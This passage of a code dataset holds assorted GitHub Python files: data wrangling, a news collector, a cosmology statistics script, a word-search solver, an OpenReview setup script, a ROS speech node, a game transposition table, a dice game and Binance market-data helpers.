pd.DataFrame(columns=col_list)\n\n# Printing Empty DataFrame\n##print(df)\n\n##############################################################\n\n## Count number of rows \n\nrow_count = 0\nconc_array = []\n\n\nfor i in range(len(GEN)):\n for j in range(len(PH)):\n \n for k in range(1):\n name_file = GEN[i] + '_' + PH[j] + '_' + FEATURE[k] + '.txt' \n location = Base_directory + '/' + name_file\n \n f2=open(location,\"r\")\n lines = f2.readlines()\n \n conc_counter = 0\n for x in lines:\n \n row_count += 1\n conc_counter += 1\n \n conc_array.append(conc_counter)\n \n \nprint(conc_array)\nprint(row_count) \n#################################################################\n\nrows, cols = (row_count, len(col_list))\narray = [[0 for i in range(cols)] for j in range(rows)]\n \n \ni=0\n\nfor j in range(len(GEN)):\n for k in range(len(PH)):\n for l in range(1):\n \n \n \n name_file = GEN[j] + '_' + PH[k] + '_' + FEATURE[l] + '.txt' \n location = Base_directory + '/' + name_file\n \n f2=open(location,\"r\")\n lines = f2.readlines()\n \n \n for x in lines:\n \n array[i][0] = x.split()[0].strip()\n array[i][1] = x.split()[1].strip()\n array[i][2] = x.split()[2].strip()\n \n for m in range(len(FEATURE)):\n feature_file = GEN[j] + '_' + PH[k] + '_' + FEATURE[m] + '.txt' \n location = Base_directory + '/' + feature_file\n \n f3=open(location,\"r\")\n lines = f3.readlines()\n \n for x1 in lines:\n if (array[i][0] == x1.split()[0].strip() and array[i][1] == x1.split()[1].strip() and array[i][2] == x1.split()[2].strip()):\n array[i][m+3] = x1.split()[3].strip()\n \n \n f3.close()\n \n i += 1 \n \n f2.close()\n \n \n \n#############################\n\nfile_out=open(\"array.txt\",\"w\")\n\nfor i in range(len(col_list)):\n file_out.write(col_list[i]+ ',')\n \nfile_out.write('\\n')\n \nfor i in range(rows):\n for j in range(cols):\n file_out.write(str(array[i][j]) + ',')\n file_out.write('\\n') \nfile_out.close()\n\n\n###############################################################\n\n","repo_name":"duttm/Toolkit-for-automated-construction-and-analysis-of-dendronized-vesicles","sub_path":"Data-Wrangling-2/Pandas/dataframe.py","file_name":"dataframe.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14125989815","text":"import argparse\nimport logging\nimport os\n\nfrom src.common.logging_utils import add_logging_args, setup_root_logger\nfrom src.common.collect import get_from_api\nfrom src.common.json_utils import load_json, output_to_path\n\nglobal logger\n\n\ndef dir_path(path):\n if os.path.isdir(path):\n return path\n else:\n raise argparse.ArgumentTypeError(f\"readable_dir:{path} is not a valid path\")\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"A script to collect articles from newsapi.org\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n )\n # add path to folder containing json files with keywords\n parser.add_argument(\n \"-i\",\n type=dir_path,\n help=\"Folder containing json files with keywords\",\n )\n\n parser.add_argument(\n \"-o\", type=str, help=\"Output folder\", default=\"data/raw/movies/\"\n )\n\n # add ignore cache argument\n parser.add_argument(\n \"-c\",\n \"--ignore-cache\",\n dest=\"ignore_cache\",\n action=\"store_true\",\n help=\"Ignore the cache\",\n default=False,\n )\n\n add_logging_args(parser)\n args = parser.parse_args()\n return args.i, args.o, args.ignore_cache, args.log_level, args.deep_logging\n\n\ndef main():\n input_folder, output_folder, ignore_cache, log_level, deep_logging = parse_args()\n\n setup_root_logger(logging, log_level, deep_logging)\n logger = logging.getLogger(__name__)\n\n if not os.path.exists(input_folder):\n raise Exception(f\"Folder {input_folder} does not exist\")\n\n # loop over all files in input folder\n for filename in os.listdir(input_folder):\n # check if file is a json file\n if filename.endswith(\".json\"):\n # load json file\n logger.info(f\"Loading {filename}\")\n # extract keywords\n file_path = os.path.join(input_folder, filename)\n with open(file_path) as f:\n keywords = load_json(f)\n data = get_from_api(keywords, use_cache=not ignore_cache, pages=50)\n output_to_path(os.path.join(output_folder, filename), data)\n\n pass\n\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TristanLeclair/COMP370FinalProject","sub_path":"scripts/python/collect_bulk.py","file_name":"collect_bulk.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42462444436","text":"import numpy as np\n# import matplotlib.pylab as pl\n# from matplotlib.font_manager import FontProperties\n# from matplotlib.ticker import ScalarFormatter\nimport math, os\n# from matplotlib.patches import Rectangle\nfrom scipy.interpolate import interp1d\nfrom scipy import pi,sqrt,exp\nfrom measure_cosebis import tminus_quad, tplus,tminus\nfrom argparse import ArgumentParser\nfrom rebin import rebin\n\n\n\n# example run:\n# tmin=0.50\n# tmax=100.00\n# python run_measure_cosebis_cats2stats.py -i xi_nBins_1_Bin1_Bin1 -o nBins_1_Bin1_Bin1 --norm ./TLogsRootsAndNorms/Normalization_${tmin}-${tmax}.table -r ./TLogsRootsAndNorms/Root_${tmin}-${tmax}.table -b lin --thetamin ${tmin} --thetamax ${tmax} -n 20\n\nparser = ArgumentParser(description='Take input 2pcfs files and calculate COSEBIs')\nparser.add_argument(\"-i\", \"--inputfile\", dest=\"inputfile\",\n help=\"Full Input file name\", metavar=\"inputFile\",required=True)\n\nparser.add_argument('-t','--theta_col', dest=\"theta_col\", type=int,default=0, nargs='?',\n help='column for theta, default is 0')\n\nparser.add_argument('-p','--xip_col', dest=\"xip_col\", type=int,default=1, nargs='?',\n help='column for xi_plus, default is 1')\n\nparser.add_argument('-m','--xim_col', dest=\"xim_col\", type=int,default=2, nargs='?',\n help='column for xi_minus, default is 2')\n\n\nparser.add_argument('--cfoldername', dest=\"cfoldername\", \n help='full name and address of the folder for En/Bn files, default is cosebis_results',default=\"./cosebis_results\",required=False)\n\nparser.add_argument(\"-o\", \"--outputfile\", dest=\"outputfile\"\n ,help=\"output file name suffix. The outputs are cfoldername/En_${outputfile}.ascii and cfoldername/Bn_${outputfile}.ascii\"\n ,metavar=\"outputFile\",required=True)\n\n\nparser.add_argument('-b','--binning', dest=\"binning\", help='log or lin binning, default is log',default=\"log\",required=False)\n\nparser.add_argument('-n','--nCOSEBIs', dest=\"nModes\", type=int,default=10, nargs='?',\n help='number of COSEBIs modes to produce, default is 10')\n\nparser.add_argument('-s','--thetamin', dest=\"thetamin\", type=float,default=0.5, \n nargs='?', help='value of thetamin in arcmins')\n\nparser.add_argument('-l','--thetamax', dest=\"thetamax\", type=float,default=300.0, \n nargs='?', help='value of thetamax, in arcmins')\n\nparser.add_argument('--tfoldername', dest=\"tfoldername\", help='name and full address of the folder for Tplus Tminus files, will make it if it does not exist',default=\"Tplus_minus\",required=False)\nparser.add_argument('--tplusfile', dest=\"tplusfile\", help='name of Tplus file, will look for it before running the code',default=\"Tplus\",required=False)\nparser.add_argument('--tminusfile', dest=\"tminusfile\", help='name of Tplus file, will look for it before running the code',default=\"Tminus\",required=False)\n\nparser.add_argument('-c','--norm', dest=\"normfile\", help='normalisation file name and address for T_plus/minus', metavar=\"norm\",required=True)\nparser.add_argument('-r','--root', dest=\"rootfile\", help='roots file name and address for T_plus/minus', metavar=\"root\",required=True)\n\n\nargs = parser.parse_args()\n\ninputfile=args.inputfile\ntheta_col=args.theta_col\nxip_col=args.xip_col\nxim_col=args.xim_col\noutputfile=args.outputfile\nnModes=args.nModes\nthetamin=args.thetamin\nthetamax=args.thetamax\nnormfile=args.normfile\nrootfile=args.rootfile\ntplusfile=args.tplusfile\ntminusfile=args.tminusfile\ntfoldername=args.tfoldername\ncfoldername=args.cfoldername\nbinning=args.binning\n\nprint('input file is '+inputfile+', making COSEBIs for '+str(nModes)+' modes and theta in ['+'%.2f' %thetamin+\"',\" \n +'%.2f' %thetamax+\"'], outputfiles are: \"+cfoldername+\"/En_\"+outputfile+'.ascii and '+cfoldername+'/Bn_'+outputfile+'.ascii')\n\n\nfile=open(inputfile)\nxipm_in=np.loadtxt(file,comments='#')\ntheta=xipm_in[:,theta_col]\nxip=xipm_in[:,xip_col]\nxim=xipm_in[:,xim_col]\nnp_gals = xipm_in[:,7]\n\n\nif(binning=='log'):\n good_args=np.squeeze(np.argwhere((theta>thetamin) & (thetathetamin) & (thetathetamin) & (theta List[str]:\n if(len(board) == 0):\n return []\n rows, cols = len(board), len(board[0])\n seen, wordsFound = set(), set()\n\n trie = Trie()\n for word in words:\n trie.addWord(word)\n\n def dfs(prefix, row, col):\n seen.add((row,col))\n if trie.searchWord(prefix):\n wordsFound.add(prefix)\n nxt_points = {(row+1,col),(row-1,col),(row,col+1),(row,col-1)}\n for next_row, next_col in nxt_points:\n if 0 <= next_row < rows and 0 <= next_col < cols and trie.searchPrefix(prefix + board[next_row][next_col]) and (next_row,next_col) not in seen:\n dfs(prefix + board[next_row][next_col], next_row, next_col)\n seen.remove((row,col))\n\n for row in range(rows):\n for col in range(cols):\n if trie.searchPrefix(board[row][col]):\n dfs(board[row][col], row, col)\n return list(wordsFound)\n","repo_name":"tajshaik24/interviews","sub_path":"WordSearchII.py","file_name":"WordSearchII.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2790569157","text":"#!/usr/bin/python\n\n###############################################################################\n#\n###############################################################################\n\n## Import statements\nimport argparse\nimport json\nimport sys\nfrom openreview import *\n\n## Argument handling\nparser = argparse.ArgumentParser()\nparser.add_argument('--baseurl', help=\"base url\")\nparser.add_argument('--username')\nparser.add_argument('--password')\nargs = parser.parse_args()\n\n## Initialize the client library with username and password\nif args.username!=None and args.password!=None:\n openreview = Client(baseurl=args.baseurl, username=args.username, password=args.password)\nelse:\n openreview = Client(baseurl=args.baseurl)\nbaseurl = openreview.baseurl\n\nsubmission_reply = {\n 'forum': None,\n 'replyto': None,\n 'signatures': {\n 'values-regex': '~.*',\n 'description':'Your displayed identity associated with the above content.'\n },\n 'writers': {'values-regex': '~.*'},\n 'readers': {\n 'values': ['everyone'],\n 'description': 'The users who will be allowed to read the above content.'\n },\n 'content': {\n 'title': {\n 'order': 3,\n 'value-regex': '.{1,100}',\n 'description': 'Title of paper.'\n },\n 'abstract': {\n 'order': 4,\n 'value-regex': '[\\\\S\\\\s]{1,5000}',\n 'description': 'Abstract of paper.'\n },\n 'authors': {\n 'order': 1,\n 'values-regex': \"[^;,\\\\n]+(,[^,\\\\n]+)*\",\n 'description': 'Comma separated list of author names, as they appear in the paper.'\n },\n 'authorids': {\n 'order': 2,\n 'values-regex': \"[^;,\\\\n]+(,[^,\\\\n]+)*\",\n 'description': 'Comma separated list of author email addresses, in the same order as above.'\n },\n 'conflicts': {\n 'order': 100,\n 'values-regex': \"[^;,\\\\n]+(,[^,\\\\n]+)*\",\n 'description': 'Comma separated list of email domains of people who would have a conflict of interest in reviewing this paper, (e.g., cs.umass.edu;google.com, etc.).'\n },\n 'pdf': {\n 'order': 4,\n 'value-regex': 'upload|http://arxiv.org/pdf/.+',\n 'description': 'Either upload a PDF file or provide a direct link to your PDF on ArXiv.'\n },\n 'submit for proceedings':{\n 'order':5,\n 'value-radio':[\n 'yes',\n 'no'\n ],\n 'description': \"Choose whether you would like your submission to appear in the conference proceedings.\"\n }\n }\n}\n\nsubmission_invitation = Invitation('ECCV2016.org/BNMW/-/submission',\n\treaders=['everyone'],\n\twriters=['ECCV2016.org/BNMW'],\n\tinvitees=['~'],\n\tsignatures=['ECCV2016.org/BNMW'],\n\tprocess='../process/bnmwProcess.js',\n\treply=submission_reply)\n\nopenreview.post_invitation(submission_invitation)\n\n","repo_name":"openreview/openreview-scripts","sub_path":"venues/ECCV2016.org/BNMW/python/setup-invitations.py","file_name":"setup-invitations.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"37580471033","text":"#!/usr/bin/env python\nfrom sound_play.libsoundplay import SoundClient\nfrom std_msgs.msg import String\nimport rospy\nfrom navigation_pr2.msg import SpeakAction, SpeakResult\nimport actionlib\n\nclass SpeakNode(object):\n def __init__(self):\n self.volume = 1.0\n self.lang = rospy.get_param('~lang', 'jp')\n if self.lang == 'jp':\n self.sound_client = SoundClient(blocking=True, sound_action='robotsound_jp', sound_topic='robotsound_jp')\n elif self.lang == 'en':\n self.sound_client = SoundClient(blocking=True, sound_action='robotsound', sound_topic='robotsound')\n else:\n rospy.logerr(\"{} is not supported\".format(self.lang))\n return\n self.sub = rospy.Subscriber(\"~say\", String, self.say)\n self.ac = actionlib.SimpleActionServer('~say', SpeakAction, self.action_cb)\n\n def action_cb(self, goal):\n self.update_volume()\n self.sound_client.say(goal.data, volume=self.volume)\n self.ac.set_succeeded(SpeakResult())\n\n def say(self, msg):\n self.update_volume()\n self.sound_client.say(msg.data, volume=self.volume)\n\n def update_volume(self):\n volume = rospy.get_param('~volume', 1.0)\n if volume > 1.0 or volume < 0.0:\n rospy.loginfo(\"Volume is out of range. Do nothing.\")\n else:\n self.volume = volume\n\nif __name__ == '__main__':\n rospy.init_node('speak_node')\n speak = SpeakNode()\n rospy.spin()\n\n\n\n \n\n \n \n \n","repo_name":"nakane11/navigation_pr2","sub_path":"node_scripts/speak.py","file_name":"speak.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22184758999","text":"from collections import OrderedDict\n\n\"\"\"\nEach table entry corresponds to one state of the game (in this context, a\n'state' is a board position as well as which player's turn it is).\n\nThe table keys will be the hash strings returned by state.hash_state().\nThe table values will be tuples of the form:\n (, , , )\nwhere\n is the depth in number of edges of the explored subtree rooted at\n the corresponding state\n is the utility value of the corresponding state\n is the move that leads to the best possible child state (i.e. the\n move that will lead to the value of being correct)\n (used for minimax search with alpha beta pruning) is\n a byte that equals the constant\n EXACT iff is an exact value\n ALPHA_CUTOFF iff is an alpha cutoff\n BETA_CUTOFF iff is a beta cutoff\n\"\"\"\n\nDEPTH_INDEX = 0\nSCORE_INDEX = 1\nMOVE_INDEX = 2\nFLAGS_INDEX = 3\n\nEXACT = 0b00000000\nALPHA_CUTOFF = 0b00000001\nBETA_CUTOFF = 0b00000010\n\n\nclass TranspositionTable:\n \"\"\"\n A transposition table to memoize game states explored through game search.\n The table's entries are ordered by order of insertion, so the first entry\n is the one that was inserted longest ago, while the last entry is the one\n that was inserted most recently.\n \"\"\"\n\n def __init__(self, max_size, replacement_policy):\n \"\"\"\n Creates and initializes a new TranspositionTable.\n\n :param max_size: the maximum number of entries in the table\n :type max_size: integral\n :param replacement_policy: a function that takes a TranspositionTable,\n a key, and a value, and adds the key-value pair to the table if it\n is not full, or else determines the best candidate for removal and\n replaces that entry with the new key-value pair. The best candidate\n might be the given key-value pair, in which case it is not added\n (i.e. the new entry is rejected)\n :type replacement_policy: (TranspositionTable, X, Y) => None, where X\n is the type of the keys in this table, and Y is the type of the\n values\n \"\"\"\n self._table = OrderedDict()\n self._max_size = max_size\n self._current_size = 0\n self._number_attempted_mutations = 0\n self._number_entries_replaced = 0\n self._number_entries_rejected = 0\n self._number_direct_accesses = 0\n self._number_entries_swapped = 0\n self._number_directly_added = 0\n self._number_safe_accesses = 0\n self._number_hits = 0\n self._replacement_policy = replacement_policy\n\n def __setitem__(self, key, value):\n \"\"\"\n Adds an entry to this TranspositionTable using the replacement policy.\n If the table is full, the replacement policy is also used to find an\n existing entry to replace. The policy may also determined that no entry\n should be replaced, in which case the new entry is simply rejected\n (i.e. not added to the table).\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._replacement_policy(self, key, value)\n\n def __getitem__(self, key):\n \"\"\"\n Returns the value of the entry with the given key.\n\n :param key: the key of the entry\n :return: the value of the entry\n \"\"\"\n self._number_direct_accesses += 1\n return self._table[key]\n\n def __iter__(self):\n \"\"\"\n Returns a key iterator for this TranspositionTable.\n\n :return: a key iterator for this TranspositionTable\n :rtype: iterator\n \"\"\"\n return self._table.__iter__()\n\n def __len__(self):\n \"\"\"\n Returns the number of entries in this TranspositionTable.\n\n :return: the number of entries in this TranspositionTable\n :rtype: integral\n \"\"\"\n return self._current_size\n\n def get(self, key, default=None):\n \"\"\"\n Returns the value of the entry with the given key, or the given default\n value if this TranspositionTable does not contain an entry with the\n given key.\n\n :param key: the key of the entry\n :param default: the default to return if there is no entry with the key\n :return: the value of the entry with the given key, or the default\n \"\"\"\n self._number_safe_accesses += 1\n value = self._table.get(key, default)\n if value is not default:\n self._number_hits += 1\n return value\n\n def reset_counters(self):\n \"\"\"\n Resets the following counters to 0, without also clearing the table:\n number_attempted_mutations\n number_entries_replaced\n number_entries_rejected\n number_direct_accesses\n number_entries_swapped\n number_directly_added\n number_safe_accesses\n number_hits\n \"\"\"\n self._number_attempted_mutations = 0\n self._number_entries_replaced = 0\n self._number_entries_rejected = 0\n self._number_direct_accesses = 0\n self._number_entries_swapped = 0\n self._number_directly_added = 0\n self._number_safe_accesses = 0\n self._number_hits = 0\n\n def get_counters(self):\n \"\"\"\n Returns a tuple containing the current value of all the counters. The\n counters are ordered as follows:\n number_attempted_mutations\n number_entries_replaced\n number_entries_rejected\n number_direct_accesses\n number_entries_swapped\n number_directly_added\n number_safe_accesses\n number_hits\n \"\"\"\n return (self._number_attempted_mutations,\n self._number_entries_replaced, self._number_entries_rejected,\n self._number_direct_accesses, self._number_entries_swapped,\n self._number_directly_added, self._number_safe_accesses,\n self._number_hits)\n\n def get_max_size(self):\n \"\"\"\n Returns the maximum size of this TranspositionTable.\n\n :return: the maximum size of this TranspositionTable\n \"\"\"\n return self._max_size\n\n def get_replacement_policy(self):\n \"\"\"\n Returns the replacement policy of this TranspositionTable.\n\n :return: the replacement policy of this TranspositionTable\n \"\"\"\n return self._replacement_policy\n\n def to_json_serializable(self):\n \"\"\"\n Returns a JSON serializable representation of this TranspositionTable.\n\n :return: a JSON serializable representation of this TranspositionTable\n \"\"\"\n return {\n 'table': self._table,\n 'max-size': self._max_size,\n 'current-size': self._current_size,\n 'number-attempted-mutations': self._number_attempted_mutations,\n 'number-entries-replaced': self._number_entries_replaced,\n 'number-entries-rejected': self._number_entries_rejected,\n 'number-direct-accesses': self._number_direct_accesses,\n 'number-entries-swapped': self._number_entries_swapped,\n 'number-directly-added': self._number_directly_added,\n 'number-safe-accesses': self._number_safe_accesses,\n 'number-hits': self._number_hits,\n 'replacement-policy': self._replacement_policy.__name__\n }\n\n @staticmethod\n def from_json_serializable(json_object):\n \"\"\"\n Returns a TranspositionTable, given a JSON serializable representation\n of some TranspositionTable. Assumes the replacement policy is an\n instance method defined in the TranspositionTable class.\n\n :param json_object: a JSON serializable representation of some\n TranspositionTable\n :return: the corresponding TranspositionTable\n :rtype: TranspositionTable\n \"\"\"\n table = TranspositionTable(json_object['max-size'], None)\n table._table = OrderedDict(json_object['table'].items())\n table._current_size = json_object['current-size']\n table._number_attempted_mutations = \\\n json_object['number-attempted-mutations']\n table._number_entries_replaced = json_object['number-entries-replaced']\n table._number_entries_rejected = json_object['number-entries-rejected']\n table._number_direct_accesses = json_object['number-direct-accesses']\n table._number_entries_swapped = json_object['number-entries-swapped']\n table._number_directly_added = json_object['number-directly-added']\n table._number_safe_accesses = json_object['number-safe-accesses']\n table._number_hits = json_object['number-hits']\n table._replacement_policy = getattr(table,\n json_object['replacement-policy'])\n return table\n\n # ========== REPLACEMENT POLICIES ========== #\n\n def replace_overall_oldest(self, key, value):\n \"\"\"\n Adds the given key-value pair to the given TranspositionTable, first\n removing the overall oldest entry in the table if the table is already\n full.\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n if self._current_size == self._max_size:\n self._number_entries_replaced += 1\n del self._table[next(self._table.keys().__iter__())]\n else:\n self._current_size += 1\n self._number_directly_added += 1\n self._table[key] = value\n\n def replace_older_value_or_else_overall_oldest(self, key, value):\n \"\"\"\n Adds the given key-value pair to the given TranspositionTable. If an\n entry with the same key is already present in the table, that entry is\n removed and replaced by (\"swapped with\") the new entry. If the table is\n already full, and no entry with the same key is already present in the\n table, then the given key-value pair replaces the overall oldest entry\n in the table, where \"oldest\" means \"the entry that was last added or\n last replaced longest ago\".\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n if self._table.pop(key, default=None) is None:\n if self._current_size == self._max_size:\n self._number_entries_replaced += 1\n del self._table[next(self._table.keys().__iter__())]\n else:\n self._current_size += 1\n self._number_directly_added += 1\n else:\n self._number_entries_swapped += 1\n self._table[key] = value\n\n def replace_older_value_or_else_new_entry(self, key, value):\n \"\"\"\n Conditionally adds the given key-value pair to the given\n TranspositionTable. If an entry with the same key is already present in\n the table, that entry is removed and replaced by (\"swapped with\") the\n new entry. If the table is not full, and no entry with the same key is\n already present in the table, then the given key-value pair is added to\n the table. If the table is already full, and no entry with the same key\n is already present in the table, then the given key-value pair is\n rejected.\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n if self._table.pop(key, default=None) is None:\n if self._current_size == self._max_size:\n self._number_entries_rejected += 1\n else:\n self._current_size += 1\n self._number_directly_added += 1\n self._table[key] = value\n else:\n self._number_entries_swapped += 1\n self._table[key] = value\n\n def replace_shallower_value_or_else_shallower_with_first(self, key, value):\n \"\"\"\n Conditionally adds the given key-value pair to the given\n TranspositionTable. If the table already contains an entry for the\n given key, then the given key-value pair replaces (\"is swapped with\")\n the old entry iff the new entry is at least as deep as the old entry\n (otherwise, the new entry is rejected). If the table is not full, and\n no entry with the same key is already present in the table, then the\n given key-value pair is added to the table. If the table is already\n full, and no entry with the same key is already present in the table,\n then the given key-value pair replaces the first entry in the table iff\n the new entry is at least as deep as the first entry (otherwise, the\n new entry is rejected).\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n value_already_in_table = self._table.pop(key, default=None)\n if value_already_in_table is None:\n if self._current_size == self._max_size:\n first_key = next(self._table.keys().__iter__())\n first_value = self._table.pop(first_key)\n if value[DEPTH_INDEX] >= first_value[DEPTH_INDEX]:\n self._number_entries_replaced += 1\n else:\n self._number_entries_rejected += 1\n key = first_key\n value = first_value\n else:\n self._current_size += 1\n self._number_directly_added += 1\n else:\n if value[DEPTH_INDEX] >= value_already_in_table[DEPTH_INDEX]:\n self._number_entries_swapped += 1\n else:\n self._number_entries_rejected += 1\n value = value_already_in_table\n self._table[key] = value\n\n def replace_shallower_value_or_else_overall_oldest(self, key, value):\n \"\"\"\n Conditionally adds the given key-value pair to the given\n TranspositionTable. If the table already contains an entry for the\n given key, then the given key-value pair replaces (\"is swapped with\")\n the old entry iff the new entry is at least as deep as the old entry\n (otherwise, the new entry is rejected). If the table is not full, and\n no entry with the same key is already present in the table, then the\n given key-value pair is added to the table. If the table is already\n full, and no entry with the same key is already present in the table,\n then the given key-value pair replaces the overall oldest entry in the\n table, where \"oldest\" means \"the entry that was last added or last\n replaced (including attempted replacements) longest ago\".\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n value_already_in_table = self._table.pop(key, default=None)\n if value_already_in_table is None:\n if self._current_size == self._max_size:\n self._number_entries_replaced += 1\n del self._table[next(self._table.keys().__iter__())]\n else:\n self._current_size += 1\n self._number_directly_added += 1\n else:\n if value[DEPTH_INDEX] >= value_already_in_table[DEPTH_INDEX]:\n self._number_entries_swapped += 1\n else:\n self._number_entries_rejected += 1\n value = value_already_in_table\n self._table[key] = value\n\n def replace_shallower_value_or_else_new_entry(self, key, value):\n \"\"\"\n Conditionally adds the given key-value pair to the given\n TranspositionTable. If the table already contains an entry for the\n given key, then the given key-value pair replaces (\"is swapped with\")\n the old entry iff the new entry is at least as deep as the old entry\n (otherwise, the new entry is rejected). If the table is not full, and\n no entry with the same key is already present in the table, then the\n given key-value pair is added to the table. If the table is already\n full, and no entry with the same key is already present in the table,\n then the given key-value pair is rejected.\n\n :param key: the key of the new table entry\n :param value: the value of the new table entry\n \"\"\"\n self._number_attempted_mutations += 1\n value_already_in_table = self._table.pop(key, default=None)\n if value_already_in_table is None:\n if self._current_size == self._max_size:\n self._number_entries_rejected += 1\n else:\n self._current_size += 1\n self._number_directly_added += 1\n self._table[key] = value\n else:\n if value[DEPTH_INDEX] >= value_already_in_table[DEPTH_INDEX]:\n self._number_entries_swapped += 1\n self._table[key] = value\n else:\n self._number_entries_rejected += 1\n self._table[key] = value_already_in_table\n","repo_name":"francois-rd/madking","sub_path":"TranspositionTable.py","file_name":"TranspositionTable.py","file_ext":"py","file_size_in_byte":17459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19389381003","text":"# Dice Game\r\n\r\nimport random\r\n\r\nimport time\r\n\r\n#Functions\r\ndef roll_dice(n):\r\n dice = [] \r\n for i in range(n):\r\n dice.append(random.randint(1,6))\r\n return dice\r\n\r\ndef winner(cdice_list, udice_list):\r\n computer_total =sum (cdice_list)\r\n user_total = sum(udice_list)\r\n if user_total%2!=0 and computer_total%2!=0:\r\n print('You both lose. :p')\r\n elif user_total < number_dice*3 and computer_total number_dice*3 :\r\n print('User wins with a score of',user_total,'!')\r\n print(\" W \")\r\n print(\"\\(^.^)/\")\r\n elif computer_total%2==0 and computer_total > number_dice*3:\r\n print('Computer wins with a score of', computer_total,'!')\r\n print(\"(~0.0)~(/x.x)/\")\r\n else:\r\n print(\"It's a tie try again\")\r\n\r\ndef roll_again(choices, dice_list):\r\n print('Good luck!')\r\n time.sleep(1)\r\n for i in range(len(choices)):\r\n if choices[i] == 'r':\r\n dice_list[i] = random.randint(1,6)\r\n time.sleep(1)\r\n\r\ndef computer_strategy(n):\r\n print('What will the computer decide? ...')\r\n time.sleep(2)\r\n choices = '' \r\n for i in range(n):\r\n if computer_rolls[i]%2==0:\r\n choices = choices + '-'\r\n else:\r\n choices = choices + 'r'\r\n return choices\r\n\r\n#start game\r\nnumber_dice = input('Enter number of dice:')\r\nnumber_dice = int(number_dice)\r\nprint('Game Rules! \\nTo win the total score has to be both even and greater than:'\r\n ,number_dice*3,)\r\nready = input('Press any key to play')\r\n\r\n\r\n\r\n#User turn \r\nuser_rolls = roll_dice(number_dice)\r\nprint('User first roll: ', user_rolls)\r\n\r\n\r\nuser_choices = input(\"Enter - to hold or r to roll again :\")\r\n\r\nwhile len(user_choices) != number_dice:\r\n print('You must enter', number_dice, \\\r\n 'choices')\r\n user_choices = input(\"Enter - to hold or r \\\r\n to roll again :\")\r\n\r\nroll_again(user_choices, user_rolls)\r\nprint('Players final roll: ', user_rolls)\r\n\r\n# Computer's turn \r\nprint('Computers turn ')\r\ncomputer_rolls = roll_dice(number_dice)\r\nprint('Computer first roll: ', computer_rolls)\r\n\r\ncomputer_choices = computer_strategy(number_dice)\r\nprint('Computer Choice: ', computer_choices)\r\n\r\nroll_again(computer_choices, computer_rolls)\r\nprint('Computer final roll: ', computer_rolls)\r\n\r\n#Winner\r\nwinner(computer_rolls,user_rolls)\r\n","repo_name":"Cornier137/BLC-Coding-DesignSummer2022","sub_path":"Project5DiceGame_BLC.py","file_name":"Project5DiceGame_BLC.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75158854186","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 28 09:29:13 2022\n\n@author: 52551\n\"\"\"\n\nimport pandas as pd\nfrom datetime import datetime, time, timedelta\n\ndef historical(cliente, simbolo, intervalo, limite = 500, market='Spot'):\n '''\n simbolo = 'TRXUSDT'\n intervalo = '30m', '1h'\n limite = 8 # Default = 500, max = 1000\n market = 'Spot' or 'Future'\n \n '''\n if market == 'Spot':\n data = cliente.get_klines(symbol=simbolo, interval=intervalo,\n limit = limite ) \n df = pd.DataFrame(data, columns=['open_time',\n 'open',\n 'high',\n 'low' ,\n 'close',\n 'volumen' ,\n 'close_time' ,\n 'quote_asset_v' ,\n 'num_trades', \n 'taker_buy_base_asset_v',\n 'taker_buy_quote_asset_v',\n 'ignore'])\n df.open_time = pd.to_datetime(df.open_time,unit = 'ms' ) - timedelta(hours=5)\n \n df.close_time = pd.to_datetime(df.close_time, unit='ms') - timedelta(hours = 5)\n \n df = df.astype({'low': 'float64', 'open': 'float', 'close':'float', 'quote_asset_v': 'float',\n 'high':'float', 'volumen':float, 'num_trades':int, \n 'taker_buy_base_asset_v':float\n , 'taker_buy_quote_asset_v':float})\n return df \n elif market == 'Future':\n info = cliente.futures_klines(symbol = 'TRXUSDT', interval = '30m', limit = 2)\n\n df = pd.DataFrame(data=info, columns=['open_time',\n 'open',\n 'high',\n 'low' ,\n 'close',\n 'volumen' ,\n 'close_time' ,\n 'quote_asset_v' ,\n 'num_trades', \n 'taker_buy_base_asset_v',\n 'taker_buy_quote_asset_v',\n 'ignore'])\n df.open_time = pd.to_datetime(df.open_time,unit = 'ms' ) - timedelta(hours=5)\n \n df.close_time = pd.to_datetime(df.close_time, unit='ms') - timedelta(hours = 5)\n \n df = df.astype({'low': 'float64', 'open': 'float', 'close':'float', 'quote_asset_v': 'float',\n 'high':'float', 'volumen':float, 'num_trades':int, \n 'taker_buy_base_asset_v':float\n , 'taker_buy_quote_asset_v':float})\n return df\n \n# PRofundidad de mercado\ndef depth(cliente,simbolo,limite):\n# from perfil_binance import cuenta_binance as cb\n# client = Client('', '')\n# cliente = cb('demo')\n# simbolo = 'TRXUSDT'\n# limite = 100 hasta 5,000\n# return un df con la cantidad de dolares y el precio del activo.\n\n \n depth = cliente.get_order_book(symbol=simbolo, limit=limite)\n lp_c = []\n 